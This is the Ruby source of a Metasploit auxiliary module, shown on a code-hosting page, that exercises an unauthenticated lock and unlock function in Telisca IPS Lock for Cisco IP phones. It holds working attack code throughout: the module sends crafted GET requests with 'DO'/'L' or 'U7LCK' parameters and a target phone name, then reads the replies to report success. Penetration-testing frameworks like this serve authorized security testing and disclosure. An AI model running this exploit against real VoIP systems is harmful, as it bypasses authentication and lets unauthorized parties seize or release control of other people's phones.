Path: blob/master/modules/auxiliary/voip/telisca_ips_lock_control.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Telisca IPS Lock Cisco IP Phone Control',13'Description' => %q{14This module allows an unauthenticated attacker to exercise the15"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP16Phones. This module should be run in the VoIP VLAN, and requires17knowledge of the target phone's name (for example, SEP002497AB1D4B).1819Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.20},21'References' => [22# Publicly disclosed via Metasploit PR23['URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'],24],25'Author' => [26'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',27'zirsalem'28],29'License' => MSF_LICENSE,30'DisclosureDate' => '2015-12-17',31'Actions' => [32['LOCK', { 'Description' => 'To lock a phone' }],33['UNLOCK', { 'Description' => 'To unlock a phone' }]34],35'DefaultAction' => 'UNLOCK',36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)42)4344register_options(45[46OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),47OptString.new('PHONENAME', [true, 'The name of the target phone'])48]49)50end5152def print_status(msg = '')53super("#{peer} - #{msg}")54end5556def print_good(msg = '')57super("#{peer} - #{msg}")58end5960def print_error(msg = '')61super("#{peer} - #{msg}")62end6364# Returns the status of the listening port.65#66# @return [Boolean] TrueClass if port open, otherwise FalseClass.67def port_open?68res = send_request_raw({ 'method' => 'GET', 'uri' => '/' })69res ? true : false70rescue ::Rex::ConnectionRefused71vprint_status('Connection refused')72return false73rescue ::Rex::ConnectionError74vprint_error('Connection failed')75return false76rescue ::OpenSSL::SSL::SSLError77vprint_error('SSL/TLS connection error')78return false79end8081# Locks a device.82#83# @param phone_name [String] Name of the phone used for the pn parameter.84#85# @return [void]86def lock(phone_name)87res = send_request_cgi({88'method' => 'GET',89'uri' => '/IPSPCFG/user/Default.aspx',90'headers' => {91'Connection' => 'keep-alive',92'Accept-Language' => 'en-US,en;q=0.5'93},94'vars_get' => {95'action' => 'DO',96'tg' => 'L',97'pn' => phone_name,98'dp' => '',99'gr' => '',100'gl' => ''101}102})103104unless res105print_error('The connection timed out while trying to unlock')106return107end108109unless res.code == 200110print_error("Unexpected response #{res.code}")111return112end113114if res.body.include?('Unlock') || res.body.include?('U7LCK')115print_good("The device #{phone_name} is already locked")116elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')117print_good("Device #{phone_name} successfully locked")118else119print_error('Unexpected reply')120end121end122123# Unlocks a phone.124#125# @param phone_name [String] Name of the phone used for the pn parameter.126#127# @return [void]128def unlock(phone_name)129res = send_request_cgi({130'method' => 'GET',131'uri' => '/IPSPCFG/user/Default.aspx',132'headers' => {133'Connection' => 'keep-alive',134'Accept-Language' => 'en-US,en;q=0.5'135},136'vars_get' => {137'action' => 'U7LCK',138'pn' => phone_name,139'dp' => ''140}141})142143unless res144print_error('The connection timed out while trying to unlock')145return146end147148unless res.code == 200149print_error("Unexpected response #{res.code}")150return151end152153if res.body.include?('Unlock') || res.body.include?('U7LCK')154print_good("The device #{phone_name} is already locked")155elsif res.body.include?('unlocked') || res.body.include?('QUIT')156print_good("The device #{phone_name} successfully unlocked")157else158print_error('Unexpected reply')159end160end161162def run163unless port_open?164print_error('The web server is unreachable!')165return166end167168phone_name = datastore['PHONENAME']169case action.name170when 'LOCK'171lock(phone_name)172when 'UNLOCK'173unlock(phone_name)174end175end176end177178179